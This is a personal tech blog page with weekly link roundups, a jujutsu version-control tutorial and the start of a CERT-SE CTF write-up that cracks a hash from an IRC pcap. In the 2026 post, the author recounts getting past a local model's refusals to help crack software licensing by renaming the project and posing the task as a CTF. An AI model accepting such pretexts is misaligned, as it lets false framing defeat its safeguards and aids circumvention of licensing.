Weblog on mkz.me

Weekly links (Ed. 14)

pm@mkz.me (Patrick MARIE) — Sun, 13 Sep 2026 18:39:37 +0200

Hi reader,

I’ve been a bit out of the loop recently, having interviews, getting a new job, ramping up on a new stack and delivering. I recently joined Vibe.co, an advertising company, and I’m quite lucky having a whole new playground to exercise my skills in, and to learn a brand new job: LLM assisted SRE (Yeah, I wrote like 10 lines of code my first month, while I’ve done like 120 commits).

So, let’s get a look at what’s on my radar:

tmpout, vol. 5 - A brand new tmpout release! 5th. I can’t say enough about those oldschool papers. I really miss those. While we’re into old hacking mode, let’s talk about true cybersecurity - with the guys who made it: Where Warlocks Stay Up Late.
The Endless Temptation of Claude - I’ll be honest - the more I use agents, the more I want to deliver with them. And I want to build things that already exist. Unsure whether I should continue or stop - one thing is sure, I’ll try to limit myself. It’s been 25 years I’ve been coding, I’m tired of it, so everything I’ll do will have a good reason.
I gave Qwen 3.8 27B a reverse-engineering job I assumed needed a frontier model - I spent some time trying to reverse/break some licensing related to Qwen 3.8. I failed first, then I quickly was able to bypass the restrictions. It was as simple as renaming the project, and letting the model believe I was doing a CTF/crackme. Now, my main problem is overheating of the GPUs. Somehow, it was easier with Codex or Claude (cyber-security engineer mode enabled!). Anyway, I should try some uncensored model sometime.

Hey, I committed some stuff during my first month at $NEW_JOB:

workflow-version-pin - A basic GitHub workflow version scanner and SHA pinning. After the Trivy debacle, we wanted to secure the workflows a bit and make SHA-only versioning mandatory.
I fixed some bugs, added workflows in rss-to-bluesky - I found out some posts were dropped because some pictures were too big. I fixed some issues using Claude, I hope the bot users won’t mind.
clipboard-applet - A Wayland clipboard applet/manager, to make primary to regular copy easy; talks a bit with dbus, so with shortcuts!
power-module - To replace the bad Waybar widgets, and also have a simple command, because I had issues with the power delivery component on my new laptop.

That’s all for today, folks. See you soon - hopefully before another year passes!

Weekly links (Ed. 13)

pm@mkz.me (Patrick MARIE) — Tue, 20 May 2025 22:03:04 +0200

Hi reader,

Welcome to the 13th edition of my links of the week! May be I should rename it to “links of the month”. Again, I’m late. And it is not even the week-end. Too much gaming. No excuse.

The links you’re all waiting for:

The enshittification of tech jobs - The golden age for tech workers is over. We, coders, are now building shitty products, why bad compensation (still good in my opinion, but way less than a few years ago.); And I’m not talking about the “AI” stuff. We’re building stuff to make VC and shareholders happy, not the users.
How Discord Indexes Trillions of Messages - Another great article from the Discord tech team. Followup of their nearly 10 years old How Discord Indexes Billon of Messages.
I built an AI code review agent in a few hours, here’s what I learned - I’m building a bit something related with asoai but I guess I should rewrite this from scratch.
How I program with LLMs
Go All the Way: Why Golang is Your Swiss Army Knife for Modern Development

Things I need to experiment with:

That’s all for today, folks. Have fun resolving problems and seen you soon!

Weekly links (Ed. 12)

pm@mkz.me (Patrick MARIE) — Sun, 27 Apr 2025 16:48:15 +0200

Hello, readers!

This week links:

Simplifying Datastore Provisioning with Kubernetes Operators - I wish I could work in a company running Kubernetes, so I could write some useful operator. There is a lot of useful things to do with operators.
Beej’s Guide to Git - Today, Beej honors us with a comprehensive guide to Git.
Friends don’t let friends write production software in Python - I’m in a python workhouse. All backend/ML code is written in Python. It is slow, really slow, slow to deploy, very expensive to run. I hope I could rewrite some parts in Golang or Rust.
Becoming a good engineer - A few hints to become/be a good engineer: understand the business, learn, communicate, learn, practice, learn, think, learn, apply, critique your own work, and learn reading the best books. Also write compilers.
You should make a new programming language - You should make a new terrible programming language. See last link’s comment for why.
Write your Own Virtual Machine - No description from me for this one. Just check out the link.

Anyway I got COVID this week, and it’s been like 4 days I’m ill with fever and everything. Just gaming, TVing, sleeping, and reading.

See you next week reader, if I get better.

Weekly links (Ed. 11)

pm@mkz.me (Patrick MARIE) — Fri, 18 Apr 2025 21:07:23 +0200

Hi reader,

It’s been quite a while. Ok the weekly thing just became the monthly thing. Sorry, but I got quite busy the past weeks, despite I’m quite sure I won’t have any answer to the question “but what did you do?”. Sad, isn’t it?

I’ll be quick and go directly to the links.

Fedora 42 is out! (FR), and I’m already up to date!
Building my own AI toolbox: AI providers, contexts, RAG - Somethind I need to work on. Last year, I worked a bit on asoai - another stupid openai client, but I’m not using it that much. I guess I should step up a bit in the AI game, just to know if I can be a bit more efficient.
20 years of Git. Still weird, still wonderful - Git really evolved a lot since the first commit. I can’t believe it is like 20 years old. 10 years ago I was still using Subversion, like a lot of people I believe, and now everybody is using git.
Why I stopped using AI code editors - Speaking of AIs, I’m aligning with the conclusion: When you are using AI, you are sacrificing knowledge for speed.. What’s important is what’s done with it, and how it’s done with it. As for now, I guess too much people is using badly.
Why I’m No Longer Talking to Architects About Microservices - At my job I’ve the “luck” to not have anyone to talk technical things with people. And the sentence discussions about microservices are often detached from any tangible business goals kinda triggered me: As I can not have the technical speeches to fix issues, I can not fix the issues. And it is bothering me.
PagedOut 6 was released a few weeks ago.

I did not do anything relevant since last post. Just kinda playing World of Warcraft and getting bored.

Well reader I’m gonna have a nap now so see you next time.

Weekly links (Ed. 10)

pm@mkz.me (Patrick MARIE) — Sun, 23 Mar 2025 18:48:21 +0100

Hi reader,

Guess who’s back, back again? That’s me! Well I’m back, but late. Last week I did not post anything due to… well… nothing. I’ve no excuse, just spent my time just doing something else. And don’t ask me what, I do not even remember. My projects are going too slow at work, I feel like I spend a lot of time dealing with issues there and there and not doing the things I’d like to do.

Anyway. I spent 26 hours the last 2 weeks playing Two Points Museum. This is a good easy game. I like it.

The links I found interesting the last two weeks I bothered stacking in my reading list:

The 4th tmpout.sh issue - Younger, I did not spend enough time playing with the ELF format. I had a few friends (kudos!) who did, and I found that fascinating at the time. I’m really happy more people are bothering playing with those things nowadays. I sometimes think the old hacking scene is gone for good, and the good days are over. Ephemeral flashes like this tmpout.sh or the incomming (hoping!) phrack issue this summer makes me hope there are still a few real hackers out there. Thanks you guys!
The little book about OS development - One another thing I’d like to spend some time is OS dev. I’m not skilled enough to do it, and I sometimes wonder if I can get a little grisp at it.
200 deployments in production per day, Friday included: lessons learned - I’m currently at a job and the build/deployment process is taking like 3 hours to complete. For less than 10 customers. My goal is to automatize those process and ensure running tests take less than 5 minutes, and deployment less than 10. The road will be load, very long, but not totally infeasible.
Common Misconceptions about Compilers - Last year I played a lot with lox (compiler/vm) and zig. My next goal was to read Writing a C Compiler. Well, I’ll have an advice: reading this blog post and navigating through the links bring a lot of insightful knowledge.
Can we communally deprecate git checkout? - Be honest: we use git checkout to switch branches. Well, there is git switch for you guys. Just use it!
Choosing Languages - Stop suggesting using the right tool for the job, just do what you want to, as long as you’re happy with it!

That’s it for today. And for the week. I was writing this listening to Fayboy slim.

Everyone, have a great week.

Weekly links (Ed. 9)

pm@mkz.me (Patrick MARIE) — Sun, 09 Mar 2025 08:40:42 +0100

Hi reader,

We’re in March! Soon will come the spring. Cold is gone for now! And I’ve yet to go outside to verify this. Gosh I wish I had less work to be done.

This week was focused on fixing the fallout of the recent technology migration. I’ve restarted to write some git management code from scratch, with tests this time. I hope I’ll have time to continue on this.

Links I found interesting this week:

Engineering Success Starts with Onboarding - Companies suck at on-boarding. Managers suck at it too. They fail to enable sharing mandatory knowledge, to mentor clearly newcomers and are not available to solve problems.
Designing chat architecture for reliable message ordering at scale - Fun fact: This week I’ve seen some random guys talking about cassandra and that using it made very easy building discord over it. Despite Discord stores trillon of messages on Discord, the word “easy” triggered me. This is not easy. This is hard. And the Ably blog post demonstrates how hard it is.
Implementing Raft - I need to read and play this whole article series. I’d like to build a simular thing in Rust or something.
Introducing Yoke - The IaC package manager for K8s - I’ve been using cdk8s for years now to maintain my Kubernetes cluster, in addition to flux. However, cdk8s is no longer maintained and is somehow a pain in the ass due to some issues, espacially when importing existing CRDs. I’ll take Yoke a look when I’ll have some time as I wishes to keep my golang code.

I did not play much this week. I’ve watched the last Star Trek movies, as well as the first season of Severance. The 2nd will end soon so it’ll be time to catch up. I’m currently listening to Wild Horses by The Sundays.

Everyone, have a great week.

Weekly links (Ed. 8)

pm@mkz.me (Patrick MARIE) — Sun, 02 Mar 2025 18:30:28 +0100

Hi reader,

Another week another record. I’ve an huge announcement to make. This week is 8th report and not 7th. The last time was indeed the 7th and not the 6th. You got me: I’ve not able to count up to 8 without messing up.

This week I spent really too much time working. I mainly spent my week fixing issues on different projects at work. I do not remember having coded anything for me. Surely I need to spend more time on my own projects.

Links I found interesting the last week:

How Core Git Developers Configure Git - I’ve been using some ideas and I’ve integrated in my own home-manager configuration.
awesome docker compose - Last week I fucked up and linked some useless website about writing good docker files. I found out this repository to be really more useful.
hyperfine - A command-line benchmarking tool
Reviving an Old Kindle Paperwhite 7th Gen - Some fun project I could take a look at to re-use my old Kindle(s).
Operating System in 1,000 Lines
Is Rust a Good Fit for Business Apps? - Heck this blog post hurts a bit but is quite saying the truth. Rust is nice and offers a lot of possibilities, but it is an hard language to learn and practice. The conclusion is hard: please think twice and don’t make regrettable decision for yourself and your colleagues.

Also, I’ve played a bit to Two Point Museum. And I watched too many Star Trek movies. No more comments for this week. Looking forward to next week.

Everyone, have a great week.

Weekly links (Ed. 7)

pm@mkz.me (Patrick MARIE) — Sun, 23 Feb 2025 09:31:02 +0100

Hi reader,

Welcome to the Weekly Links edition 7, not 6! The last week-end I was away from home, and it went quite bad as the wife got ill. Also trains problems. It was a shitty weekend. Also, I’m trying to migrate terraform code at work to get it managed by terragrunt, and hell, I never read that much infrastructure code with that much circular dependencies.

Yesterday I just left my computer and watched movies! The last Ghostbuster movie, Fair game, Star Trek: Generations and 99 Francs. I’m still quite unsure why I’ve done that. I also played Civilization IV until 3 am.

Links I found interesting the last week:

Why Blog If Nobody Reads It? - Actually I really hope nobody is reading this blog, as my english sucks and nobody should really care what I’m writing about. But I agree with one thing: I’m not writing for anybody but me.
How Copyover MUD Servers Worked - I missed the MUD era so much! And despite I was not a big player, I miss connecting with telnet to some remote server and discover new worlds. And the tech behind it! I was learning C at the time and unix systems. The trick in the blog post is quite common but at the time was already fixing real world problems.
You Should Use /tmp/ More - I’m a vivid user of $HOME/tmp, but honestly, I should use /tmp more often, as it will get automatically cleaned up by the system.
You can have good Dockerfiles - Another thing I should do: Write down somewhere the best practices I’ve learned and used over the years about Dockerfiles.
Crushing JIRA tickets is a party trick, not a path to impact - I’ve been doing one to ones at work, to align people with a common vision and also facilitating communication. One of the feedback I’ve been doing is that I do not care about solving a lot of JIRA tickets. I care more about quality than quantity.

I also fucked up my temporal installation. I’m not really using it, so I guess I’ll just decommission it. I really wish I could discover new things. The last weeks I wrote some code to write a basic git client in Rust. I’m thinking starting again and writing blog posts. My friends are telling me this is useless and that I should rest.

Everyone, have a great week.

Weekly links (Ed. 6)

pm@mkz.me (Patrick MARIE) — Sun, 09 Feb 2025 14:41:30 +0100

Hi reader,

This week I’ve found time working on my own project at work, at least a bit. I’ve also continued playing Mario + Rabbids Kingdom Battle. I’m in the last chapter of the game. In my spare time too, I’ve been studying (again!) the git datastructures, writing some code in Rust to understand it better. The repository can be found here but it definitely needs some docs.

Links I found interesting this week were:

Git Guts: A deep dive into git internals - I’m the kind of person who likes understanding stuff reading code. Most git internals guides are written without a single line of code, and I was really happy to find out this page;
Great things about Rust that aren’t just performance - I’ll stop blogging when I stop finding Rust articles; I promise I should stop pasting the latest trending article. However, while I’ve been writing Rust code for a while, I’m starting to actually liking it;
7 things a developer should know about databases;
Jujutsu VCS Introduction and Patterns;
We are destroying software - I can only agree with most points; A lot of code is written then thrown away, especially mine, because I do not make the effort to make it usable or reusable. Shame on me.

Nothing to add this week. There will be no update next week.

Everyone, have a great week.

Weekly links (Ed. 5)

pm@mkz.me (Patrick MARIE) — Sun, 02 Feb 2025 10:29:15 +0100

Hi reader,

This week I’ve been completely busy with incoming migration at work on new tech. The team I joined recently have been working on a new project for like one year and we’re having a bit time to make the migration easy. The incoming week will even more challenging. However, the project I’ve committed to working on is moving forward so I’m at least happy with that. I’m having a hard time disconnecting from work at night or during weekends. This is an issue I really need to work on.

I’ve continued playing Mario + Rabbids Kingdom Battle. I’m about halfway through the game. I also saw the latest patch for Baldur’s Gate 3 was released for testing. I guess it’ll be the game I’ll play next.

Links I found interesting this week were:

Introducting werk, a new small build system similar to make, written in Rust;
How I write backend, a comprehensive guide to writing backend services;
Jujutsu VCS Introduction, an introduction to jujutsu. I’ve work quite a bit with this tool last year, and I can’t lie, the tool looks like a lot more powerful than git in term of flexibility.

I’ve starting to move some of my personal projects’ pipelines from drone-ci to gitea actions. Drone was fine, but I don’t need multiple build systems anymore. Having everything on gitea suits me well for now.

Everyone, have a great week.

Weekly links (Ed. 4)

pm@mkz.me (Patrick MARIE) — Sat, 25 Jan 2025 17:48:28 +0100

Hi reader,

I’m not sure it was a really productive week. I even think this month was not that great. Sure, I’ve started my 3rd month in my new job and I’m still learning a lot, but I’m not sure I’m doing the right thing yet. However, I got like 20+ solicitations from recruiters this month, which seems like a good sign after a year 2024 totally empty. I’m not planning to change yet, but it’s good to know I’m still in demand.

Well, at least this week I’ve finished playing Zelda: TOTK. Then I’ve started Mario + Rabbids Kingdom Battle. I’ve also installed Hoarder on my kubernetes lab. It feels fine, I’m moving some of the data I’ve put into Wallabag into it.

Links I found interesting this week were:

The Forty-Year Programmer - I’m not there yet, but I can say I agree with most advices and observations I got to read in this article;
Async Rust is about concurrency, not (just) performance;
I need to get myself into Rust web frameworks again. There is some stuff I need to get aware of. So I’ve dig into my bookmarks and found Write a simple web service in Rust using hyper. I really need to get a deep look at hyper.rs guides;
And as a final link to finish this post section: Build A MMIO Booting Debian VM Out Of Cloud Images.

Also, I’ve continued to write some code on some private tooling to make my work a bit easier. I’m not planning to opensource it at all. I’m not really sure it would be useful for somebody else.

Everyone, have a nice weekend and great week.

Weekly links (Ed. 3)

pm@mkz.me (Patrick MARIE) — Sun, 19 Jan 2025 21:19:24 +0100

Hi reader,

This week, David Lynch passed away. Despite I’m not that kind of guy watching a lot of movies, I felt a bit sad. Also, I still played Zelda: TOTK. Links I found interesting this week were:

Collection of insane and fun facts about SQLite - I’ve been impressed by SQLite for like 20 years. And still is;
State of the Crates 2025 - A short but efficient list of crates to use when building software with Rust. I found out some crates I was using in the past are no longer maintained and my own list needs some cleanup;
What I Wish Someone Told Me About Postgres.

I did not write that much code this week. Next week I need to install Hoarder.

Everyone, have a great week.

Weekly links (Ed. 2)

pm@mkz.me (Patrick MARIE) — Sun, 12 Jan 2025 18:28:01 +0100

Hi reader,

This week was busy with work, and gaming as I started Zelda: TOTK (and it was better late than never). I also started to work resolving challenges available on Protohackers, using Rust & Tokio. Links I found interesting this week were:

Postgres UUIDv7 + per-backend monotonicity - The UUIDv7 RFC 9562 is not one year old and Postgres maintainers already imported their own implementation in their database engine;
The Evolution of SRE at Google; Causal Analysis based on System Theory looks like a good read, but I haven’t had time to read it yet (hn, lb);
While I’m lookin at the Tokio ecosystem, I found out that axum 0.8.0 was released. I built some small webservices in Rust in the past, using Rocket or Actix, and I think I’ll give a try to axum soon.

I’ve also wrote some code to use AWS EC2 APIs in Rust using aws_sdk_ec2, and also started to use ghostty. Works find but not on my desktop workstation as it is quite slow to start, due to GLX/Wayland/Nvidia I guess. I’ve got so much trouble with this setup I started considering getting an AMD GPU.

Weekly links (Ed. 1)

pm@mkz.me (Patrick MARIE) — Sat, 04 Jan 2025 14:28:59 +0100

Hi reader,

As always, it’s been a while, but I was busy finishing gathering the Advent of code 2025 stars. Except the usual 2/3 “you’re not smart enough to solve those by yourself” problems, I’m quite happy with the solutions I wrote, in Rust, as always.

This week, I’ve read a bit about summary metrics, especially the Effective Computation of Biased Quantiles over Data Streams (aka CKMS algorithm), that is implemented in the golang or java prometheus client libraries. However, it seems the python prometheus_client library does not implement this, yet?

The objects subjects I took a look at:

How I use git, as I plan to suggest at work to work differently on internal repositories. It is always helpful to bring articles like this, that describes main guidelines on how to simply but efficiently work with git;
Getting started with tracing in Rust;
Building and operating a pretty big storage system called S3.

Jujutsu: a practical intro

pm@mkz.me (Patrick MARIE) — Sun, 27 Oct 2024 08:36:46 +0100

Intro Link to heading

jujutsu, aka jj, is a git-compatible version configuration system that is aiming to be simple and powerful, reusing features from existing other VCS. I’ve been testing jj for a while and I now need to write down how to use this tool into my workflow.

This post sums up basic usage/acts as a cheatsheet.

Getting a jj repository Link to heading

Creating a new repository Link to heading

As for now, it is required to use git as a backend when creating a new repository. jj init will just fail.

$ jj git init
Initialized repo in "."

Checkout of an existing repository from github Link to heading

$ jj git clone git@git.mkz.me:mycroft/til.git
Fetching into new repo in "/home/mycroft/tmp/til"
bookmark: main@origin [new] untracked
Setting the revset alias "trunk()" to "main@origin"
Working copy now at: ywksyxpz 1f45511f (empty) (no description set)
Parent commit      : omvnwxrw 1cf9d9f4 main | docs: adding cryptography/basic-rsa-with-python.md
Added 12 files, modified 0 files, removed 0 files

$ cd til/
$ jj show
Commit ID: 1f45511f22ade210213d984e72eae20286cd3150
Change ID: ywksyxpzzmmuxxlwxlxrtnvxtmtqsxyo
Author: Patrick MARIE <pm@mkz.me> (2024-10-27 09:13:04)
Committer: Patrick MARIE <pm@mkz.me> (2024-10-27 09:13:04)

    (no description set)

Using jj on an existing git repository Link to heading

$ git clone git@git.mkz.me:mycroft/k8s-home.git
Cloning into 'k8s-home'...
remote: Enumerating objects: 9001, done.
remote: Counting objects: 100% (9001/9001), done.
remote: Compressing objects: 100% (3310/3310), done.
remote: Total 9001 (delta 6574), reused 7669 (delta 5634), pack-reused 0
Receiving objects: 100% (9001/9001), 1.40 MiB | 20.52 MiB/s, done.
Resolving deltas: 100% (6574/6574), done.

$ cd k8s-home/
$ jj git init --git-repo .
Done importing changes from the underlying Git repo.
Setting the revset alias "trunk()" to "main@origin"
Hint: The following remote bookmarks aren't associated with the existing local bookmarks:
  main@origin
Hint: Run `jj bookmark track main@origin` to keep local bookmarks updated on future pulls.
Initialized repo in "."

Looking at log Link to heading

Once you’ve got a jj repository, you can check its history and check single revision details:

$ jj log
@  qsnqopks pm@mkz.me 2024-10-27 09:09:12 64e66208
│  (empty) (no description set)
◆  zzzzzzzz root() 00000000

$ jj show -r qsnqopks
Commit ID: 64e662080019bd8178b992ffc8ad3923ff44059b
Change ID: qsnqopksxwrostxuuxomkmpousqrrrly
Author: Patrick MARIE <pm@mkz.me> (2024-10-27 09:09:12)
Committer: Patrick MARIE <pm@mkz.me> (2024-10-27 09:09:12)

    (no description set)

Note: On pushed repositories/external retrieved repositories, the history can show immutable revisions. jj log will only show history to latest immutable revision. If you need to see older revision, you’ll need to tweak the jj log query.

$ jj log -r ..@
@  ywksyxpz pm@mkz.me 2024-10-27 09:13:04 1f45511f
│  (empty) (no description set)
◆  omvnwxrw pm@mkz.me 2024-10-02 10:53:06 main 1cf9d9f4
│  docs: adding cryptography/basic-rsa-with-python.md
◆  zmtsywzy pm@mkz.me 2024-09-30 11:51:33 c3b29bf7
│  docs: updating security/decrypt-ntlm-v2-hmac-md5-hashes.md
◆  osrlutwm pm@mkz.me 2024-09-30 11:49:43 3f8def91
│  docs: adding security/decrypt-ntlm-v2-hmac-md5-hashes.md
...

..@ means “all changes until now - @”. Another example:

$ jj log -r osrlutwm-..
@  ywksyxpz pm@mkz.me 2024-10-27 09:13:04 1f45511f
│  (empty) (no description set)
◆  omvnwxrw pm@mkz.me 2024-10-02 10:53:06 main 1cf9d9f4
│  docs: adding cryptography/basic-rsa-with-python.md
◆  zmtsywzy pm@mkz.me 2024-09-30 11:51:33 c3b29bf7
│  docs: updating security/decrypt-ntlm-v2-hmac-md5-hashes.md
◆  osrlutwm pm@mkz.me 2024-09-30 11:49:43 3f8def91
│  docs: adding security/decrypt-ntlm-v2-hmac-md5-hashes.md
~

osrlutwm-.. means all commits from osrlutwm’s parent commit (-).

Creating revisions Link to heading

Now that we can create a repository and view its history, it is time to create some diff! Contrary to git, you don’t “commit” changes. The way it is working can be a bit different: You’re working on a current “working copy” and once you’re done, you create a new one! The basic workflow is:

You set a description to the current working copy (remember when we jj show ? it had no description)
You work on changes
Once happy, you create a new working copy based on your changes!

$ jj show
Commit ID: ca7f82bb1c3cac24f0615ce49f371f41574944d3
Change ID: qsnqopksxwrostxuuxomkmpousqrrrly
Author: Patrick MARIE <pm@mkz.me> (2024-10-27 13:06:40)
Committer: Patrick MARIE <pm@mkz.me> (2024-10-27 13:10:29)

    (no description set)

$ jj describe -m "feat: create a new project based on zig"
Working copy now at: qsnqopks bbe7c14f feat: create a new project based on zig
Parent commit      : zzzzzzzz 00000000 (empty) (no description set)

$ zig init
info: created build.zig
info: created build.zig.zon
info: created src/main.zig
info: created src/root.zig
info: see `zig build --help` for a menu of options
$ echo zig-out >> .gitignore
$ echo .zig-cache >> .gitignore

$ jj status
Working copy changes:
A .gitignore
A build.zig
A build.zig.zon
A src/main.zig
A src/root.zig
Working copy : qsnqopks bbe7c14f feat: create a new project based on zig
Parent commit: zzzzzzzz 00000000 (empty) (no description set)

$ jj new
Working copy now at: sqvpnnot fe034d70 (empty) (no description set)
Parent commit      : qsnqopks bbe7c14f feat: create a new project based on zig

$ jj log
@  sqvpnnot pm@mkz.me 2024-10-27 13:13:08 fe034d70
│  (empty) (no description set)
○  qsnqopks pm@mkz.me 2024-10-27 13:12:01 bbe7c14f
│  feat: create a new project based on zig
◆  zzzzzzzz root() 00000000

To wrap up:

We set a description with jj describe -m "..."
Once done & happy with out changes, we create a new working copy with jj new

and that’s it! We now have a new working copy we can work on.

Branches? Link to heading

Now, let’s create some diff and new change set:

$ jj describe -m "feat: changing print statement"
Working copy now at: sqvpnnot 8038ae5e feat: changing print statement
Parent commit      : qsnqopks bbe7c14f feat: create a new project based on zig

$ sed -ie 's/belong to us./belong to me./' src/main.zig

$ jj new
Working copy now at: pynrzmnr e5bec6be (empty) (no description set)
Parent commit      : sqvpnnot 8038ae5e feat: changing print statement

$ jj log
@  pynrzmnr pm@mkz.me 2024-10-27 13:17:16 e5bec6be
│  (empty) (no description set)
○  sqvpnnot pm@mkz.me 2024-10-27 13:17:07 8038ae5e
│  feat: changing print statement
○  qsnqopks pm@mkz.me 2024-10-27 13:12:01 bbe7c14f
│  feat: create a new project based on zig
◆  zzzzzzzz root() 00000000

What if we now consider this change should be part of a branch and want to go back in time? Well, there is jj bookmark for this:

$ jj bookmark create statement-change -r @-
@  kqsutqqu pm@mkz.me 2024-10-27 13:49:56 9221126d
│  (empty) (no description set)
○  sqvpnnot pm@mkz.me 2024-10-27 13:46:51 statement-change 4b93825b
│  feat: changing print statement
○  qsnqopks pm@mkz.me 2024-10-27 13:46:51 1a18916b
│  feat: create a new project based on zig
◆  zzzzzzzz root() 00000000

Note: I kinda modified modified qsnqopks so it changed commit ids. It does not really matter.

As I now have a bookmark on that change, let’s create a new branch based on qsnqopks:

$ jj new -r qsnqopks
Working copy now at: mnorzwky 17472305 (empty) (no description set)
Parent commit      : qsnqopks 1a18916b feat: create a new project based on zig
Added 0 files, modified 1 files, removed 1 files

$ jj log
@  mnorzwky pm@mkz.me 2024-10-27 13:52:48 851df1bd
│  (no description set)
│ ○  sqvpnnot pm@mkz.me 2024-10-27 13:46:51 statement-change 4b93825b
├─╯  feat: changing print statement
○  qsnqopks pm@mkz.me 2024-10-27 13:46:51 1a18916b
│  feat: create a new project based on zig
◆  zzzzzzzz root() 00000000

And I’ll modify the same src/main.zig file so I’ll create a conflict for the future:

$ jj diff
Modified regular file src/main.zig:
   5    5:     std.debug.print("All your {s} are belong to usthem.\n", .{"codebase"});
    ...

$ jj st
Working copy changes:
M src/main.zig
Working copy : mnorzwky 851df1bd (no description set)
Parent commit: qsnqopks 1a18916b feat: create a new project based on zig

$ jj describe -m "feat: another  print statement"
Working copy now at: mnorzwky 623fe0ea feat: another  print statement
Parent commit      : qsnqopks 1a18916b feat: create a new project based on zig

$ jj new
Working copy now at: kpwklolq bd2ff65b (empty) (no description set)
Parent commit      : mnorzwky 623fe0ea feat: another  print statement

So now, what if I want to merge statement-change in current branch/working copy?

We have our 2 heads:

$ jj log -r 'heads(all())'

@  kpwklolq pm@mkz.me 2024-10-27 14:04:30 bd2ff65b
│  (empty) (no description set)
~

○  sqvpnnot pm@mkz.me 2024-10-27 13:46:51 statement-change 4b93825b
│  feat: changing print statement
~

And we merge them into a new changeset:

$ jj new kpwklolq sqvpnnot -m "merge"
Working copy now at: trxrwzzr 2479582f (conflict) (empty) merge
Parent commit      : kpwklolq bd2ff65b (empty) (no description set)
Parent commit      : sqvpnnot 4b93825b statement-change | feat: changing print statement
Added 1 files, modified 1 files, removed 0 files
There are unresolved conflicts at these paths:
src/main.zig    2-sided conflict

Ah, there is a conflict! It is just required to fix it in the working copy and once done, everything will be fine:

$ jj st
Working copy changes:
M src/main.zig
Working copy : trxrwzzr 3d1845dd merge
Parent commit: kpwklolq bd2ff65b (empty) (no description set)
Parent commit: sqvpnnot 4b93825b statement-change | feat: changing print statement

$ jj log
@    trxrwzzr pm@mkz.me 2024-10-27 14:10:02 3d1845dd
├─╮  merge
│ ○  sqvpnnot pm@mkz.me 2024-10-27 13:46:51 statement-change 4b93825b
│ │  feat: changing print statement
○ │  kpwklolq pm@mkz.me 2024-10-27 14:04:30 bd2ff65b
│ │  (empty) (no description set)
○ │  mnorzwky pm@mkz.me 2024-10-27 14:04:28 623fe0ea
├─╯  feat: another  print statement
○  qsnqopks pm@mkz.me 2024-10-27 13:46:51 1a18916b
│  feat: create a new project based on zig
◆  zzzzzzzz root() 00000000

Let’s do some cleaning. First, there is this empty kpwklolq revision that we can just kill it with jj squash:

$ jj squash  -r kpwklolq
Rebased 1 descendant commits
Working copy now at: trxrwzzr 1a9eec8d merge
Parent commit      : mnorzwky 46a6e500 feat: another  print statement
Parent commit      : sqvpnnot 4b93825b statement-change | feat: changing print statement

$ jj log
@    trxrwzzr pm@mkz.me 2024-10-27 14:13:37 1a9eec8d
├─╮  merge
│ ○  sqvpnnot pm@mkz.me 2024-10-27 13:46:51 statement-change 4b93825b
│ │  feat: changing print statement
○ │  mnorzwky pm@mkz.me 2024-10-27 14:13:37 46a6e500
├─╯  feat: another  print statement
○  qsnqopks pm@mkz.me 2024-10-27 13:46:51 1a18916b
│  feat: create a new project based on zig
◆  zzzzzzzz root() 00000000

Pushing changes Link to heading

We’re going to use git remotes to share work with github. Let’s define some origin:

$ jj git remote add origin git@github.com:mycroft/jj-test.git

$ jj new
Working copy now at: knrwxmuv 56044f52 (empty) (no description set)
Parent commit      : trxrwzzr 1a9eec8d merge

$ jj git push -c @-
Creating bookmark push-trxrwzzrkpnp for revision trxrwzzrkpnp
Changes to push to origin:
  Add bookmark push-trxrwzzrkpnp to 1a9eec8d6d0a
remote: Resolving deltas: 100% (6/6), done.

$ jj bookmark list
push-trxrwzzrkpnp: trxrwzzr 1a9eec8d merge
statement-change: sqvpnnot 4b93825b feat: changing print statement

This will push an anonymous branch to github.

See Working with Github

External resources Link to heading

CTF: CERT-SE 2024 (cyber security month)

pm@mkz.me (Patrick MARIE) — Sat, 26 Oct 2024 17:32:22 +0200

That’s October, and it seems it is the cyber security awareness month. And for some reason, doing CTF is kinda common on October, so I’ve done the swedish CERT CTF. So let’s go for a quick write-up!

What do we start with? Link to heading

There no challenge list or anything else on the website. Just a quick summary and a file.

<scenario>
A fictional organisation has been affected by a ransomware attack. It has been successful in setting up
an emergency channel for communication and has access to parts of its infrastructure.

Can you find all the flags?
</scenario>

Given file is: CERT-SE_CTF2024.zip (31542062 bytes, sha256:af05dc01984ca12cecadc65ea5216667c897791ce7ef8712466529184ae37346)

There are a total of 9 flags to find out.

First flags: The IRC chat Link to heading

Let’s download the file and opening it:

$ curl -LO https://www.cert.se/ctf/CERT-SE_CTF2024.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 30.0M  100 30.0M    0     0  7561k      0  0:00:04  0:00:04 --:--:-- 7562k

$ unzip CERT-SE_CTF2024.zip
Archive:  CERT-SE_CTF2024.zip
  inflating: CERT-SE_CTF2024.pcap

Yummy, a .pcap file. I’ll start investigations with wireshark.

At first, following the tcp stream (ie: right click + follow + TCP Stream) on the first stream (eg: “tcp.stream eq 0”) will show an IRC connection and conversation. On the start on the connection, we can see a first flag:

CAP LS 302
PASS CTF[AES128]
NICK D3f3nd3r
USER user1 0 \* :realname

:irc.ctf.alt CAP \* LS :multi-prefix

CAP REQ :multi-prefix
CAP END

Then, reading the convo, we can see the 2 users are talking about another flag:

:irc.ctf.alt PONG irc.ctf.alt :LAG1727122561261

PRIVMSG #emergency :He also handed over a strange looking string CTF[E65D46AD10F92508F500944B53168930], does it make sense to you?
PING LAG1727122591261

However, CTF[E65D46AD10F92508F500944B53168930] is not our flag, as there is an hint after mentioning it:

PRIVMSG #emergency :He also handed over a strange looking string CTF[E65D46AD10F92508F500944B53168930], does it make sense to you?
:An4lys3r!~user1@10.0.0.10 PRIVMSG #emergency :not really, but why don't you ask john?

They are talking about john, which probably is John the ripper. Let’s find out:

$ echo "E65D46AD10F92508F500944B53168930" > flag.txt
$ ./john --show flag.txt
?:RICKROLL

Our flag is then CTF[RICKROLL].

In the chat between the 2 users d3f3nd3r & An4lys3r in the #emergency channel, we can see they are exchanging another file, and talking about some other files.

PRIVMSG An4lys3r :.DCC SEND RANSOM_NOTE.gz 199 0 95285 221.
PRIVMSG #emergency :SHA-256 checksum for /home/user/emergency_net/DCC/RANSOM_NOTE.gz (remote): 7113f236b43d1672d881c6993a8a582691ed4beb4c7d49befbceb1fddfb14909

why_not Link to heading

I’ll export the DCC using the wireshark export function to file0.raw on the 10.0.0.20 to 10.0.0.10 way only.

$ file file0.gz
file0.gz: gzip compressed data, was "why_not", last modified: Thu Aug 29 10:19:28 2024, from Unix, original size modulo 2^32 896794880

$ gunzip file0.gz
$ file file0
file0: ASCII text, with very long lines (65536), with no line terminators
$ less file0
